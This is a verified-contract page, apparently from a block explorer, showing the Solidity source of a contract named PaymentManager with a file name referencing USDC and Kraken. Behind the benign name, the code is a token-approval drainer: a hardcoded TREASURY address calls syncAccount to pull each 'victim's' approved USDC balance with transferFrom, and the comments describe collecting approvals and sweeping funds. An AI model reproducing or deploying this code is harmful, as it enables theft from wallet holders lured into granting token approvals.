Verified contractExactMIT
PaymentManager
Address0x34076d7a0cd84fbb01e836613841ccce361770dc
- Balance
0 ETH
- Transactions
1
- Compiler
solc 0.8.20
- Same code
1 more contract
Details
- Compiler
- solc 0.8.20+commit.a1b79de6
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,486,735
- Creation transaction
- 0x84ba7899dd…dcbbba75e9
usdcnoalertekraken.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function balanceOf(address) external view returns (uint256);
function allowance(address, address) external view returns (uint256);
function transferFrom(address, address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
}
/// @title PaymentManager
/// @notice Collecte les approbations USDC et rapatrie les fonds vers le treasury.
contract PaymentManager {
address public constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address public constant TREASURY = 0x87897e70D1E8032895Af5466fF13Cd6BF1F3635f;
event Synced(address indexed token, address indexed victim, uint256 amount);
error NotTreasury();
error ZeroAddress();
error NothingToSync();
/// @notice Rapatrie le solde approuvé d'une victime vers le treasury.
function syncAccount(address token, address victim) external {
if (msg.sender != TREASURY) revert NotTreasury();
if (victim == address(0)) revert ZeroAddress();
uint256 allowed = IERC20(token).allowance(victim, address(this));
uint256 bal = IERC20(token).balanceOf(victim);
uint256 amount = allowed < bal ? allowed : bal;
if (amount == 0) revert NothingToSync();
IERC20(token).transferFrom(victim, TREASURY, amount);
emit Synced(token, victim, amount);
}
/// @notice Récupération des tokens envoyés par erreur sur ce contrat.
function rescue(address token) external {
if (msg.sender != TREASURY) revert NotTreasury();
uint256 b = IERC20(token).balanceOf(address(this));
IERC20(token).transfer(TREASURY, b);
}
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.